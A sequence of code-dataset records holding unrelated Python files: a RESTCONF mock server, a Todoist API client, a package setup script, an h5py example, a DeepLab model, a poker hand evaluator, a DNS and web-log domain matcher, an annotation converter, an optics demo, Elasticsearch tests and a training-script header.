url)\n response.status_code = 201\n response.reason = 'Created'\n payload = json.loads(payload)\n key_value = locals_dict[self._make_python_name(yang_class.YANG_KEY)]\n if len(url) > 0:\n response.headers['location'] = 'openhltest:%s/%s=%s' % (url, yang_class.YANG_NAME, key_value)\n else:\n response.headers['location'] = 'openhltest:%s=%s' % ( yang_class.YANG_NAME, key_value)\n self._add_to_mock_storage(yang_class, parent, response.headers['location'], payload)\n elif method == 'PATCH':\n url = self._remove_restconf_prefix( url)\n response.status_code = 204\n response.reason = 'No Content'\n self._update_mock_storage(yang_class, parent, url, payload)\n elif method == 'DELETE':\n url = self._remove_restconf_prefix( url)\n response.status_code = 204\n response.reason = 'No Content'\n self._delete_from_mock_storage(yang_class, parent, url)\n return response\n\n def _separate_parent_from_url(self, url):\n if url.find('openhltest:') > 0:\n url = url[url.find('openhltest:') + len('openhltest:'):]\n index = url.rfind('/')\n if -1 == index:\n return (None, url)\n else:\n return (url[:index], url[index + 1:])\n\n def _get_response_from_mock_storage(self, yang_class, parent, url):\n response = Response()\n response.headers['Content-Type'] = 'application/json'\n response.status_code = 200\n response.reason = 'OK'\n category = '%s' % yang_class.YANG_NAME\n content_key = 'openhltest:' + category\n content = {\n content_key: None\n }\n key_value = None\n key_pieces = url.split('/').pop().split('=')\n if len(key_pieces) == 2:\n key_value = url[url.rfind('=') + 1:]\n _, category_storage = self._get_category_storage(yang_class, parent, key_value)\n content[ content_key] = category_storage\n\n if None == category_storage:\n return self._make_NotFoundError()\n \n response._content = json.dumps(content, indent=4)\n return response\n\n def _get_category_storage(self, yang_class, parent, key_value = None):\n '''\n Args:\n yang_class: the target node class\n parent: yang_class's parent class instance\n key_value: the target key's value\n Return:\n tuple of (parent storage, target node's storage)\n \n Description:\n For container node: if there'no node created, return {}.\n For list node: \n if request with key value:\n if there's no node created: raise exception.\n else:\n if the key value is unknown, raise exception.\n else return the selected list item.\n else:\n if there's no node created, return [].\n else return the whole list.\n '''\n category = yang_class.YANG_NAME\n if isinstance(parent, Openhltest):\n parent_storage = self._mock_storage['openhltest']\n else:\n if parent.YANG_KEY == None:\n _, parent_storage = self._get_category_storage(parent, parent._parent)\n else:\n parent_key_name = parent.YANG_KEY[0].upper() + parent.YANG_KEY[1:]\n _, parent_storage = self._get_category_storage(parent, parent._parent, getattr(parent, parent_key_name))\n if None == parent_storage:\n return (None, None)\n if category not in parent_storage:\n if yang_class.YANG_KEYWORD == 'container':\n parent_storage[category] = {}\n elif yang_class.YANG_KEYWORD == 'list':\n if None != key_value:\n return (parent_storage, None)\n else:\n parent_storage[category] = []\n return (parent_storage, parent_storage[category])\n \n if None == key_value:\n return (parent_storage, parent_storage[category])\n else:\n item_list = parent_storage[category]\n for item in item_list:\n if item[yang_class.YANG_KEY] == key_value:\n return (parent_storage, item)\n return (parent_storage, None)\n\n def _add_to_mock_storage(self, yang_class, parent, url, data):\n \"\"\"Adds a list item to the mock storage\n yang_class=<class 'openhltest_client.openhltest.sessions.config.ports.ports.Ports'>\n parent=<class 'openhltest_client.openhltest.sessions.config'>\n url=u'openhltest:sessions=s2/config/ports=Ethernet1', \n data={u'openhltest:ports': [{u'location': u'10.61.65.28/1/1', u'name': u'Ethernet1'}]}\n \"\"\"\n parent_url, last_url = self._separate_parent_from_url( url)\n key_value = None\n if None != last_url:\n if -1 != last_url.find('='):\n key_value = last_url[last_url.find('=') + 1 :]\n category = '%s' % yang_class.YANG_NAME\n data_category = 'openhltest' + ':' + category\n \n parent_storage, category_storage = self._get_category_storage(yang_class, parent)\n if None == category_storage:\n response = self._make_NotFoundError()\n \n if None != key_value:\n category_storage.append(data[data_category][0])\n else:\n category_storage.update(data[data_category][0])\n\n def _update_mock_storage(self, yang_class, parent, url, data):\n _, category_storage = self._get_category_storage(yang_class, parent)\n if None == category_storage:\n self._raise_BadRequestError()\n key = None\n if yang_class.YANG_KEYWORD != 'list':\n category_storage.update( json.loads(data))\n else:\n key = url[url.rfind('/'):]\n key = key[key.find('=') + 1:]\n data_index = -1\n for i in range(len(category_storage)):\n if key == category_storage[i][yang_class.YANG_KEY]:\n data_index = i\n break\n category_storage[data_index].update(json.loads(data))\n return None\n\n def _delete_from_mock_storage(self, yang_class, parent, url):\n _, category_storage = self._get_category_storage(yang_class, parent)\n key = None\n if None == category_storage:\n return\n if yang_class.YANG_KEYWORD != 'list':\n category_storage.update( data)\n else:\n key = url[url.rfind('/'):]\n key = key[key.find('=') + 1:]\n data_index = -1\n for i in range(len(category_storage)):\n if key == category_storage[i][yang_class.YANG_KEY]:\n data_index = i\n break\n del category_storage[data_index]\n","sub_path":"openhltest_client/openhltest/mockserver.py","file_name":"mockserver.py","file_ext":"py","file_size_in_byte":10924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"179716234","text":"import urllib.parse\nimport urllib.request\nimport json\nimport re\n\nfrom settings import API_TOKEN\nfrom lib import models\n\nQUERY_DELIMITER = re.compile(', *')\nAPI_URL = 'https://api.todoist.com/API'\nTASK_FORMAT = '{c0}{indent} - {taskid:10} {priority}{c1}{content} {c2}{due}'\n\ndef ulist(l):\n return json.dumps(l).replace(', ', ',')\n\n\ndef api_call(method, **options):\n options['token'] = API_TOKEN\n query_string = urllib.parse.urlencode(options,\n safe='',\n errors=None,\n encoding=None)\n url = \"{apiurl}/{method}?{query}\".format(apiurl=API_URL,\n method=method,\n query=query_string)\n try:\n req = urllib.request.urlopen(url)\n content = req.read().decode('utf-8')\n return json.loads(content)\n \n except Exception as ex:\n print(ex)\n\ndef prepare_task_info(cinfo, due_date=None):\n labels, project = [], None\n if cinfo.get('labels'):\n all_labels = list_labels(cinfo, stdout=False,\n do_search=False)\n for label in cinfo['labels']:\n if label not in all_labels:\n continue\n labels.append(all_labels[label])\n if cinfo.get('project'):\n all_projects = list_projects(cinfo, stdout=False,\n do_search=False)\n for proj in all_projects:\n if cinfo.get('project') == proj['name']:\n project = proj\n break\n args = {}\n content = cinfo.get('content', '')\n if content.strip():\n args['content'] = content\n if project:\n args['project_id'] = project['id']\n if labels:\n args['labels'] = [label['id'] for label in labels]\n if cinfo.get('priority'):\n args['priority'] = int(cinfo['priority'])\n if due_date:\n args['date_string'] = due_date\n return labels, project, args\n\ndef project_tasks(cinfo, project_name, stdout=True, **options):\n all_projects = list_projects(cinfo, stdout=False,\n do_search=False)\n project_id = None\n for proj in all_projects:\n if project_name == proj['name']:\n project_id = proj.get('id')\n break\n if not project_id:\n return\n result = api_call('getUncompletedItems', project_id=project_id)\n result_set = models.ResultSet(result, query or 'view all', **options)\n if stdout:\n result_set.pprint()\n return result_set\n \ndef query(info, query, stdout=True, **options):\n queries = QUERY_DELIMITER.split(query)\n result = api_call('query', queries=ulist(queries))\n result_set = models.ResultSet(result, query or 'view all', **options)\n\n if stdout:\n result_set.pprint()\n return result_set\n\ndef complete_tasks(cinfo):\n api_call('completeItems', ids=[\n int(taskid) for taskid in cinfo['raw']\n ])\n\ndef add_task(cinfo, due_date=None):\n if not cinfo:\n print('Task has no content!')\n return None\n labels, project, api_args = prepare_task_info(cinfo, due_date)\n if 'content' not in api_args:\n print('Task has no content!')\n return None\n if 'priority' not in api_args:\n api_args['priority'] = 1\n api_call('addItem', **api_args)\n\ndef edit_task(cinfo, edit_id, due_date=None):\n if not cinfo and not due_date:\n return None\n labels, project, api_args = prepare_task_info(cinfo, due_date)\n api_args['id'] = edit_id\n api_call('updateItem', **api_args)\n \n\ndef list_labels(cinfo, stdout=True, do_search=True, reverse=False):\n result = api_call('getLabels')\n search = do_search and cinfo.get('merged')\n for label in reverse and result[::-1] or result:\n if search and search.lower() not in label.lower():\n continue\n if stdout:\n print('@' + label)\n return result\n \ndef list_projects(cinfo, stdout=True, do_search=True, reverse=False):\n result = api_call('getProjects')\n search = do_search and cinfo.get('merged')\n for project in reverse and result[::-1] or result:\n name = project['name']\n if search and search.lower() not in name.lower():\n continue\n indent = ' ' * (int(project.get('indent', '1')) - 1)\n if stdout:\n print(indent + '#' + name)\n return result\n\ndef list_tasks(cinfo, due_date, stdout=True, **options):\n result = api_call('query', queries=ulist(['overdue','today']))\n if cinfo:\n options['search'] = cinfo.get('merged')\n result_set = models.ResultSet(result, name='Overdue and today', **options)\n if stdout:\n result_set.pprint()\n return result_set\n","sub_path":"lib/todoist.py","file_name":"todoist.py","file_ext":"py","file_size_in_byte":4765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"355928904","text":"import os\nfrom setuptools import find_packages, setup\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n name=\"jondis\",\n version=\"0.1.12\",\n description=\"Redis pool for HA Redis clusters\",\n long_description=read('README.md'),\n author=\"Jon Haddad\",\n author_email=\"jon@grapheffect.com\",\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Environment :: Web Environment\",\n \"Environment :: Plugins\",\n \"License :: OSI Approved :: BSD License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 2.6\",\n \"Programming Language :: Python :: 2.7\",\n \"Topic :: Internet :: WWW/HTTP\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n keywords=\"redis\",\n install_requires=[\"redis\"],\n tests_require=open('tests-req.txt').readlines(),\n url=\"https://github.com/youngking/jondis\",\n packages=find_packages(),\n include_package_data=True\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"490084114","text":"import numpy as np\nimport h5py\n\nf = h5py.File('filename.hdf5','w')\n\nfor i in range(0,10000):\n name = \"mydataset%05d\" % (i)\n dset = f.create_dataset(name, (1,), dtype='f')\n #dset = f.create_dataset(name)\n\n dset.attrs['muons'] = np.array([[1.0,2.0,3.0,4.0], \n [1.0,2.0,3.0,4.0],\n [1.0,2.0,3.0,4.0],\n [1.0,2.0,3.0,4.0] ])\n\n #print dset.attrs['muons']\n #print dset.name\n\nf.close()\n","sub_path":"python/hdf5/hello_world_write.py","file_name":"hello_world_write.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"274088728","text":"import inference.config as cf\nfrom inference.ResNet import *\nfrom inference.ASPP import *\nfrom inference.Decoder import *\nimport math\nimport os\nimport warnings\n\n\nclass DeepLab_V3(nn.Module):\n def __init__(self, layer_num, classes):\n super(DeepLab_V3, self).__init__()\n\n self.model_name = 'DeepLab_V3'\n\n self.resnet = ResNet101(layer_num, 1000)\n self.aspp = ASPP()\n self.decoder = Decoder(classes, 'resnet')\n\n def forward(self, input):\n x, low_level_feat = self.resnet(input)\n x = self.aspp(x)\n x = self.decoder(x, low_level_feat)\n x = F.interpolate(x, size=input.size()[2:], mode='bilinear', align_corners=True)\n return x\n\n def get_name(self):\n return self.model_name\n\n\ndef DeepLab(layer_num, classes):\n pretrained_path = cf.paths['pretrained_path']\n model = DeepLab_V3(layer_num, classes)\n\n if os.path.isfile(os.path.join(pretrained_path, model.get_name()+'.pth')):\n print('Pretrained Model!')\n checkpoint = load_weight_file(os.path.join(pretrained_path, model.get_name() + '.pth'))\n load_weight_parameter(model, checkpoint['state_dict'])\n\n return model\n\n#\n# model = DeepLab(101, cf.NUM_CLASSES)\n# model.eval()\n# input = torch.rand([1, 3, 1052, 1914])\n# output = model(input)\n# print(output.size())\n","sub_path":"inference/inference/DeepLab_V3.py","file_name":"DeepLab_V3.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"182354782","text":"\nimport unittest\nimport random\nimport time\n\nfrom definitions import ALL_CARDS, Ranking\n\nRANK_TO_NUMBER = {\n \"2\": 2,\n \"3\": 3,\n \"4\": 4,\n \"5\": 5,\n \"6\": 6,\n \"7\": 7,\n \"8\": 8,\n \"9\": 9,\n \"T\": 10,\n \"J\": 11,\n \"Q\": 12,\n \"K\": 13,\n \"A\": 14,\n}\n\nSUIT_TO_NUMBER = {\n \"c\" : 1,\n \"s\" : 2,\n \"h\" : 3,\n \"d\" : 4\n}\n\ndef convert(cardset):\n assert(isinstance(cardset, tuple) or isinstance(cardset, list))\n for e in cardset:\n assert(e in ALL_CARDS)\n suits = [SUIT_TO_NUMBER[e[1]] for e in cardset]\n ranks = [RANK_TO_NUMBER[e[0]] for e in cardset]\n return ranks, suits\n\ndef is_flush(suits):\n if len(suits) < 5:\n return False\n for e in suits[1:]:\n if e != suits[0]:\n return False\n return True\n\ndef is_straight(ranks):\n if len(ranks) < 5:\n return False\n if ranks == [14, 5, 4, 3, 2]:\n return True\n for i, e in enumerate(ranks[1:]):\n if ranks[0] - i - 1 != e:\n return False\n return True\n\ndef grouptuple(ranks):\n assert (len(ranks) >= 1)\n res = []\n current_val = ranks[0]\n current_len = 1\n for e in ranks[1:]:\n if e == current_val:\n current_len += 1\n else:\n res.append((current_len, current_val,))\n current_val = e\n current_len = 1\n res.append((current_len, current_val,))\n res.sort(key=(lambda e: -e[0]))\n return res\n\ndef handranking(cardset):\n assert(len(cardset) in [3, 5])\n ranks, suits = convert(cardset)\n groups = grouptuple(ranks)\n if len(cardset) == 5:\n is_str = is_straight(ranks)\n is_fl = is_flush(suits)\n if is_str and is_fl:\n if ranks == [14, 5, 4, 3, 2]:\n return Ranking(nt=(9, 5))\n else:\n return Ranking(nt=(9, ranks[0]))\n if groups[0][0] == 4:\n return Ranking(nt=(8, groups[0][1], groups[1][1]))\n if groups[0][0] == 3 and groups[1][0] == 2:\n return Ranking(nt=(7, groups[0][1], groups[1][1]))\n if is_fl:\n return Ranking(nt=(6,) + tuple(ranks))\n if is_str:\n if ranks == [14, 5, 4, 3, 2]:\n return Ranking(nt=(5, 5))\n else:\n return Ranking(nt=(5, ranks[0]))\n if groups[0][0] == 3:\n return Ranking(nt=(4, groups[0][1], groups[1][1], groups[2][1]))\n if groups[0][0] == 2 and groups[1][0] == 2:\n return Ranking(nt=(3, groups[0][1], groups[1][1], groups[2][1]))\n if groups[0][0] == 2:\n return Ranking(nt=(2, groups[0][1], groups[1][1], groups[2][1], groups[3][1]))\n return Ranking(nt=(1,) + tuple(ranks))\n else:\n if groups[0][0] == 3:\n return Ranking(nt=(4, groups[0][1]))\n if groups[0][0] == 2:\n return Ranking(nt=(2, groups[0][1], groups[1][1]))\n return Ranking(nt=(1,) + tuple(ranks))\n","sub_path":"handeval_naive.py","file_name":"handeval_naive.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"641233211","text":"import configparser, datetime\n\n\ndef write_log(dest, text):\n conf = configparser.ConfigParser()\n conf.read('conf.ini')\n with open(conf['log']['dir'] + dest, 'a') as f:\n f.write(text)\n\ndef write_app_log(text):\n with open('error.log', 'a+') as f:\n f.write(text)\n\ndef write_pid(text):\n with open('pid.log', 'w+') as f:\n f.write(text)\n\ndef get_pid():\n with open('pid.log', 'r') as f:\n if iter(f):\n return next(f)\n\ndef search_query_belong(type, db, data):\n domain = ''\n search_domain = db.get_candidate_domains()\n query = data['q'] if 'q' in data else data['query']\n query = query.lower()\n query_seg = query.split('.')\n dt = datetime.datetime.fromtimestamp(data['ts'])\n\n if len(query_seg) < 3:\n return query\n # if type == 'ns':\n # cursor = db.logs.cursor()\n # temp = 'insert into cdn_dns_logs_%s (domain, count, date, hour) value (\"%s\", 1, \"%s\", %s);' % (\n # dt.strftime('%Y%m'), query, dt.strftime('%Y-%m-%d'), dt.hour)\n # cursor.execute(temp)\n # db.logs.commit()\n # elif type == 'nx':\n # cursor = db.logs.cursor()\n # temp = 'insert into cdn_web_logs_%s (domain, sendbyte, date, hour) value (\"%s\", %s, \"%s\", \"%s\"););' % (dt.strftime('%Y%m'), query, data['query'], dt.strftime('%Y-%m-%d'), dt.hour)\n # cursor.execute(temp)\n # db.logs.commit()\n else:\n if type == 'ns':\n write_log('query.log', '%s [Logs] query [-DNS-] : %s\\n' % (dt.strftime('%Y-%m-%d'), query))\n elif type == 'nx':\n write_log('query.log', '%s [Logs] query [-WEB-] : %s\\n' % (dt.strftime('%Y-%m-%d'), query))\n\n # check if cname hosting\n verified_domains = db.get_verified_domains()\n suffix = query_seg[-2] + '.' + query_seg[-1]\n if suffix in verified_domains:\n prefix_domain = query.replace('.'+suffix, '')\n write_log('query.log', \"%s [Logs] query string after cutting: '%s' \\n\" % (dt.strftime('%Y-%m-%d'), prefix_domain))\n\n # check if wild card\n temp = prefix_domain.split('.')\n temp[0] = '*'\n wildcard = '.'.join(temp)\n if wildcard in search_domain:\n return wildcard\n\n # check if exactly mapping\n if prefix_domain in search_domain:\n return prefix_domain\n\n return suffix\n\n # check if hosted domain\n if suffix in search_domain:\n return suffix\n\n # check if query match\n temp = query_seg\n temp[0] = '*'\n wildcard = '.'.join(temp)\n if wildcard in search_domain:\n return wildcard\n\n if query in search_domain:\n return query\n\n # just record this traffic\n # if type == 'ns':\n # cursor = db.logs.cursor()\n # cursor.execute('select domain, sum(count) from cdn_logs.cdn_dns_logs_%s where date=\"%s\" and domain=\"%s\";' % (dt.strftime('%Y%m'), dt.strftime('%Y-%m-%d'), query))\n # select_result = cursor.fetchone()\n # if select_result[0] is None:\n # cursor.execute('insert into cdn_dns_logs_%s (domain, count, date, hour) value (\"%s\", 1, \"%s\", %s);' % (dt.strftime('%Y%m'), query, dt.strftime('%Y-%m-%d'), dt.hour))\n # else:\n # cursor.execute('update cdn_dns_logs_%s set count = count+1 where date = \"%s\" and hour = %s and domain = \"%s\"' % (dt.strftime('%Y%m'), dt.strftime('%Y-%m-%d'), dt.hour, query))\n # db.logs.commit()\n #\n # elif type == 'nx':\n # cursor = db.logs.cursor()\n # cursor.execute('select domain, sum(sendbyte) as sendbyte from cdn_logs.cdn_web_logs_%s where date = \"%s\" and hour = %s and domain = \"%s\"' % (dt.strftime('%Y%m'), dt.strftime('%Y-%m-%d'), dt.hour, query))\n # select_result = cursor.fetchone()\n # print(dt)\n # if select_result[0] is None:\n # cursor.execute('insert into cdn_web_logs_%s (domain, sendbyte, date, hour) value (\"%s\", %s, \"%s\", %s);' % (dt.strftime('%Y%m'), query, data['byte'], dt.strftime('%Y-%m-%d'), dt.hour))\n # else:\n # cursor.execute('update cdn_web_logs_%s set sendbyte = sendbyte + %s where date = \"%s\" and hour = %s and domain = \"%s\"' % (dt.strftime('%Y%m'), data['byte'], dt.strftime('%Y-%m-%d'), dt.hour, query))\n # db.logs.commit()\n\n domain = query\n\n return domain\n","sub_path":"funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"558940594","text":"import os \nimport glob\nimport sys \nimport pandas as pd \nimport xml.etree.ElementTree as ET\nfrom datetime import datetime\nfrom xml.dom import minidom\n\n\ndef xml_to_csv(path):\n xml_list = []\n\n for xml_file in sorted(glob.glob(path + '/*.xml')):\n print(xml_file)\n\n tree = ET.parse(xml_file)\n root = tree.getroot()\n\n obj_xml = root.findall('object')\n size_xml = root.findall('size')\n file_name = root.find('filename').text\n\n for size in size_xml:\n height = int(size.find('height').text)\n width = int(size.find('width').text)\n\n for obj in obj_xml:\n if obj.find('bndbox') != None:\n bbox_original = obj.find('bndbox')\n \n name = obj.find('name').text\n xmin = int(float(bbox_original.find('xmin').text))\n ymin = int(float(bbox_original.find('ymin').text))\n xmax = int(float(bbox_original.find('xmax').text))\n ymax = int(float(bbox_original.find('ymax').text))\n\n value = (str(file_name), height, width, str(name), xmin, ymin, xmax, ymax)\n xml_list.append(value)\n\n column_name = ['filename', 'width', 'height', 'class', 'xmin', 'ymin', 'xmax', 'ymax']\n xml_df = pd.DataFrame(xml_list, columns=column_name)\n return xml_df\n\n\nif __name__ == \"__main__\": \n xml_path = sys.argv[1]\n dataset_name = xml_path.split('/')[-2]\n output_path = sys.argv[2]\n\n if not(os.path.isdir(output_path)):\n os.makedirs(os.path.join(output_path))\n\n else:\n pass\n\n xml_df = xml_to_csv(xml_path)\n today = datetime.today().strftime('%Y-%m-%d-%H:%M:%S')\n xml_df.to_csv(output_path + '/' + dataset_name + '_' + today + '_feature.csv', index=None)","sub_path":"source/3.object_detection/tensorflow_object_detection/features_to_csv.py","file_name":"features_to_csv.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"236307822","text":"import os\nimport glob\nimport pandas as pd\nimport numpy as np\n\ntry:\n import welib.fast.fastlib as fastlib\nexcept:\n try:\n import fastlib\n except:\n raise Exception('This script needs welib from https://github.com/ebranlard/welib')\n\ntry:\n import weio\nexcept:\n raise Exception('This script needs weio from https://github.com/ebranlard/weio')\n\n\n\n\ndef two_files():\n # --- Main Parameters\n fstfiles=['NM90_OF2_1.fst','NM90_OF2_2.fst']\n outputDir='./'\n print(fstfiles)\n for FST_In in fstfiles:\n suffix = os.path.splitext(os.path.basename(FST_In))[0]\n outfile = os.path.join(outputDir,'Spanwise_Aero_'+suffix+'.csv')\n dfRad=fastlib.spanwisePostPro(FST_In, avgMethod='constantwindow',avgParam=5,out_ext='.outb',outfile=outfile)\n\n\ndef extractSpanTSNew(ts, col_pattern, colname, IR=None):\n \"\"\" Helper function to extract spanwise results, like B1N1Cl B1N2Cl etc. \n\n Example\n col_pattern: 'B1N(\\d*)Cl_\\[-\\]'\n colname : 'B1Cl_[-]'\n \"\"\"\n # Extracting columns matching pattern\n cols, sIdx = find_matching_pattern(ts.keys(), col_pattern)\n if len(cols) ==0:\n return (None,None)\n\n # Sorting by ID\n cols = np.asarray(cols)\n Idx = np.array([int(s) for s in sIdx])\n Isort = np.argsort(Idx)\n print(Isort)\n Idx = Idx[Isort]\n cols = cols[Isort]\n print(Idx)\n print(cols)\n\n nrMax = np.max(Idx)\n Values = np.zeros((nrMax,1))\n Values[:] = np.nan\n# if IR is None:\n# cols = [col_pattern.format(ir+1) for ir in range(nr)]\n# else:\n# cols = [col_pattern.format(ir) for ir in IR]\n for idx,col in zip(Idx,cols):\n Values[idx-1]=ts[col]\n print(Values)\n nMissing = np.sum(np.isnan(Values))\n if nMissing==nrMax:\n return (None,None)\n if len(cols)<nrMax:\n print(Values)\n print('[WARN] Not all values found for {}, missing {}/{}'.format(colname,nMissing,nrMax))\n if len(cols)>nrMax:\n print('[WARN] More values found for {}, found {}/{}'.format(colname,len(cols),nrMax))\n return (colname,Values)\n\n\nif __name__=='__main__':\n\n import welib.fast.fastlib as fastlib\n import weio\n import fnmatch\n import re\n\n\n avgMethod='constantwindow'\n avgParam=5\n# filename='test.outb'\n filename='Main_HelicalWake.outb'\n rho=1.225\n R=63\n# r_FST_aero=[ TODO ]\n r_bar_FST_aero=None\n R=None\n\n df = weio.read(filename).toDataFrame()\n dfAvg = fastlib.averageDF(df, avgMethod=avgMethod ,avgParam=avgParam) \n print(dfAvg.iloc[0].keys())\n dfAeroRad = fastlib.spanwiseAD(dfAvg.iloc[0], r_bar_FST_aero, rho , R, nB=3)\n print(dfAeroRad)\n\n# r=vr_bar*R\n# nr=len(vr_bar)\n# Columns = [('r/R_[-]', vr_bar)]\n # --- Extract radial data\n ts=dfAvg.iloc[0]\n# pattern='B1N(\\d*)AOA_\\[deg\\]'\n# print(find_matching_pattern(ts.keys(), pattern))\n# print(reg_pattern.search('B1N02AOA_[deg]').groups(1))\n# extractSpanTSNew(ts,'B1N(\\d*)AOA_\\[deg\\]','B1Alpha_[deg]')\n# import pdb; pdb.set_trace()\n","sub_path":"welib/fast/_examples/Example_RadialPostPro.py","file_name":"Example_RadialPostPro.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"631439842","text":"#! python3\n\nimport matplotlib.pyplot as plt\nfrom LightPipes import *\n\nwavelength=550*nm\nsize=2.6*mm\nN=64\nw=0.1*mm\nh=2.5*mm\nphi=15*rad\nx=0.5*mm\nz=75*cm\nsizenew=5*mm\n\nF = Begin(size,wavelength,N)\nF1 = RectAperture(w, h,-x,0, 0, F)\nF2 = RectAperture(w, h,x,0, phi, F) \nF=BeamMix(F1,F2)\nI0=Intensity(2,F)\nF=Forward(z,sizenew,N,F)\nI1=Intensity(1,F)\n\nfig=plt.figure(figsize=(10,6))\nax1 = fig.add_subplot(121)\nax2 = fig.add_subplot(122)\n\nax1.imshow(I0,cmap='gray',aspect='equal');ax1.axis('off'); ax1.set_title('Plane of the screen')\nax2.imshow(I1,cmap='gray',aspect='equal');ax2.axis('off'); ax2.set_title('Intensity distribution at a distance z from the screen')\n\nplt.show()\n\n","sub_path":"sphinx-sources/Examples/Interference/Forward1.py","file_name":"Forward1.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"27864285","text":"import unittest\nfrom mock import patch, MagicMock\nfrom elasticsearch import NotFoundError\nfrom elasticsearch_connector.commands.update_elastic_channel_meta_item import UpdateElasticChannelMetaItem\nfrom elasticsearch_connector.errors import CommandError\n\n\nclass UpdateElasticChannelMetaItemExecuteTestCase(unittest.TestCase):\n\n def setUp(self):\n self.elastic_search = MagicMock()\n\n self.log = MagicMock()\n patch_logger = patch('elasticsearch_connector.base.logging.getLogger', return_value=self.log)\n patch_logger.start()\n self.addCleanup(patch_logger.stop)\n\n self.elastic_search = MagicMock()\n patched_es = patch('elasticsearch_connector.commands.update_elastic_channel_meta_item.Elasticsearch',\n return_value=self.elastic_search)\n patched_es.start()\n self.addCleanup(patched_es.stop)\n\n self.story_id = MagicMock()\n self.channel_id = MagicMock()\n\n def test_updates_existing_item_in_elastic_search(self):\n document = {\n '_id': 'dave',\n 'clive': True,\n 'item_id': 'the item id'\n }\n\n target = UpdateElasticChannelMetaItem(\n document=document,\n story_id=self.story_id,\n channel_id=self.channel_id\n )\n\n target.original = None\n self.elastic_search.get.return_value = {\n '_source': {\n 'dave': True\n }\n }\n\n target.execute()\n\n # 1. Called the get method with the correct details\n # 2. Called the update method with the correct details and _id was excluded\n # 3. The returned item from the get method was assigned to the 'original' property.\n self.elastic_search.get.assert_called_once_with(\n index='channel_meta',\n doc_type='item',\n id=target.document['_id']\n )\n self.elastic_search.update.assert_called_once_with(\n index='channel_meta',\n doc_type='item',\n id=target.document['_id'],\n body={\n 'doc': {\n 'item_id': 'the item id',\n 'clive': True,\n }\n },\n params={\n 'refresh': True\n }\n )\n self.assertEqual(target.original, {'dave': True})\n\n def test_raises_command_error_if_unable_locate_item(self):\n document = {\n '_id': 'dave',\n 'clive': True,\n 'item_id': 'the item id'\n }\n\n target = UpdateElasticChannelMetaItem(\n document=document,\n story_id=self.story_id,\n channel_id=self.channel_id\n )\n\n self.elastic_search.get.side_effect = NotFoundError\n\n # 1. A command error was raised\n # 2. We didn't attempt an update\n self.assertRaises(CommandError, target.execute)\n self.assertFalse(self.elastic_search.update.called)\n\n def test_raises_command_error_if_invalid_response_from_elastic_search(self):\n document = {\n '_id': 'dave',\n 'clive': True,\n 'item_id': 'the item id'\n }\n\n target = UpdateElasticChannelMetaItem(\n document=document,\n story_id=self.story_id,\n channel_id=self.channel_id\n )\n\n self.elastic_search.get.return_value = {}\n\n # 1. A command error was raised\n # 2. We didn't attempt an update\n self.assertRaises(CommandError, target.execute)\n self.assertFalse(self.elastic_search.update.called)\n\n def test_does_not_modify_association(self):\n document = {\n '_id': 'dave',\n 'clive': True,\n 'item_id': 'the item id',\n 'association': ['story:2', 'channel:abc123'],\n }\n\n UpdateElasticChannelMetaItem(\n document=document,\n story_id=self.story_id,\n channel_id=self.channel_id\n )\n\n\n # Calling update again\n target = UpdateElasticChannelMetaItem(\n document=document,\n story_id=self.story_id,\n channel_id=self.channel_id\n )\n\n expected_association = ['story:2', 'channel:abc123']\n actual_association = target.document['association']\n\n self.assertEqual(actual_association, expected_association)\n self.assertEqual(document['association'], expected_association)","sub_path":"elasticsearch_connector/tests/commands/update_elastic_channel_meta_item_execute_tests.py","file_name":"update_elastic_channel_meta_item_execute_tests.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"12593089","text":"#!/usr/bin/env python\n#SBATCH --mem=4000\n#SBATCH --time=2-22:30\n#SBATCH --mail-type=END\n#SBATCH --mail-user=brando90@mit.edu\n#SBATCH --array=1-6\n#SBATCH --gres=gpu:1\n\n\"\"\"\ntraining an image classifier so that it overfits`\n----------------------------\n\"\"\"\nimport time\nfrom datetime import date\nimport calendar\n\nimport os\nimport sys\nimport subprocess\n\ncurrent_directory = os.getcwd() #The method getcwd() returns current working directory of a process.\nsys.path.append(current_directory)\n\nimport numpy as np\nfrom math import inf\nimport copy\n\nimport torch\n\nfrom torch.autograd import Variable\nimport torch.optim as optim\n\nimport math\n\nimport nn_models as nn_mdls\nfrom nn_models import Flatten\n\nimport new_training_algorithms as tr_alg\nimport save_to_matlab_format as save2matlab\nfrom stats_collector import StatsCollector\nimport metrics\nimport utils\nimport plot_utils\n\nimport data_classification as data_class\n\nfrom good_minima_discriminator import get_errors_for_all_perturbations, perturb_model\nfrom good_minima_discriminator import get_landscapes_stats_between_nets\nfrom good_minima_discriminator import get_radius_errors_loss_list\nfrom good_minima_discriminator import get_all_radius_errors_loss_list\nfrom good_minima_discriminator import get_all_radius_errors_loss_list_interpolate\nfrom good_minima_discriminator import RandLandscapeInspector\nfrom good_minima_discriminator import 